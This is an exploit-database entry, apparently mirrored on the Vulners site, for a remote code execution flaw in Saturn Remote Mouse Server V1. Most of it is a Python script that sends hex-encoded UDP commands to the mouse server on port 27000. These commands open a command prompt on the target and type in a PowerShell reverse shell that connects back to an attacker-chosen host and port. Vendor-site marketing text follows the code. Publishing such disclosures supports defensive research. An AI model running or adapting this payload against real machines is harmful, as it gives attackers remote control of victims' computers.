# Exploit Title: Saturn Remote Mouse Server V1 - Remote Code Execution (RCE)
# Date: 2025-06-30
# Exploit Author: tmrswrr
# Vendor Homepage: https://www.saturnremote.com/
# Software Link:
https://apps.microsoft.com/detail/9PCRBT6TM5V8?hl=en-us&gl=US&ocid=pdpshare
# Platform: Multiple
# Version: V1
# Tested on: Windows 10
# Remote Code Execution Vulnerability via UDP Protocol in Local Network
Services
### EXPLOIT
import socket
import time
import argparse
def main():
parser = argparse.ArgumentParser(description='Send UDP commands and
execute reverse shell')
parser.add_argument('--lhost', required=True, help='Listener IP
address')
parser.add_argument('--lport', required=True, type=int, help='Listener
port')
args = parser.parse_args()
UDP_IP = "192.168.1.109"
UDP_PORT = 27000
ps_command = (
f"powershell -nop -c \""
f"$c=New-Object System.Net.Sockets.TCPClient('
{args.lhost}',{args.lport}');"
"$s=$c.GetStream();"
"[byte[]]$b=0..65535|%{0};"
"while(($i=$s.Read($b,0,$b.Length)) -ne 0){;"
"$d=(New-Object -TypeName System.Text.ASCIIEncoding).
GetString($b,0,$i);"
"$r=iex $d 2>&1;"
"$s.Write((New-Object -TypeName System.Text.ASCIIEncoding).GetBytes($r
+ 'PS > '),0,($r + 'PS > ').Length)"
"}\""
)
messages = [
# Connection messages
"7b224973436f6e6e656374696e67223a2274727565227d", #
{"IsConnecting":"true"}
"7b22636f6e6e656374696f6e223a2022616374697665227d", #
{"connection": "active"}
# START command
"7b2241726561486569676874223a302c22417265615769647468223a302c
22436f6d6d616e644e616d65223a225354415254222c2258223a302c2259223a307d",
# Open CMD
"7b224b6579223a22636d64227d", # {"Key":"cmd"}
"7b224b6579223a225c6e227d", # {"Key":"\\n"} - Enter to
open cmd
# Send PowerShell command as a single message
f"7b224b6579223a2022706f7765727368656c6c202d6e6f70202d63205c22
24633d4e65772d4f626a6563742053797374656d2e4e65742e536f636b65
74732e544350436c69656e7428277b617267732e6c686f73747d272c7b61
7267732e6c706f72747d293b24733d24632e47657453747265616d28293b
5b627974655b5d5d24623d302e2e36353533357c257b307d3b7768696c65
282824693d24732e526561642824622c302c24622e4c656e677468292920
2d6e652030297b3b24643d284e65772d4f626a656374202d547970654e61
6d652053797374656d2e546578742e4153434949456e636f64696e67292e
476574537472696e672824622c302c2469293b24723d696578202464203e
26313b24732e577269746528284e65772d4f626a656374202d547970654e
616d652053797374656d2e546578742e4153434949456e636f64696e6729
2e4765744279746573282472202b20275053203e2027292c302c28247220
2b20275053203e2027292e4c656e677468297d5c22227d",
"7b224b6579223a225c6e227d"
]
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
print(f"[*] Sending setup commands to {UDP_IP}:{UDP_PORT}")
print(f"[*] PowerShell command length: {len(ps_command)} characters")
for i, hex_msg in enumerate(messages):
data = bytes.fromhex(hex_msg)
sock.sendto(data, (UDP_IP, UDP_PORT))
print(f"Sent command {i+1}: {data.decode('utf-8',
errors='replace')}")
time.sleep(1)
sock.close()
print("[+] Reverse shell command sent. Check your listener!")
if __name__ == "__main__":
main()Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation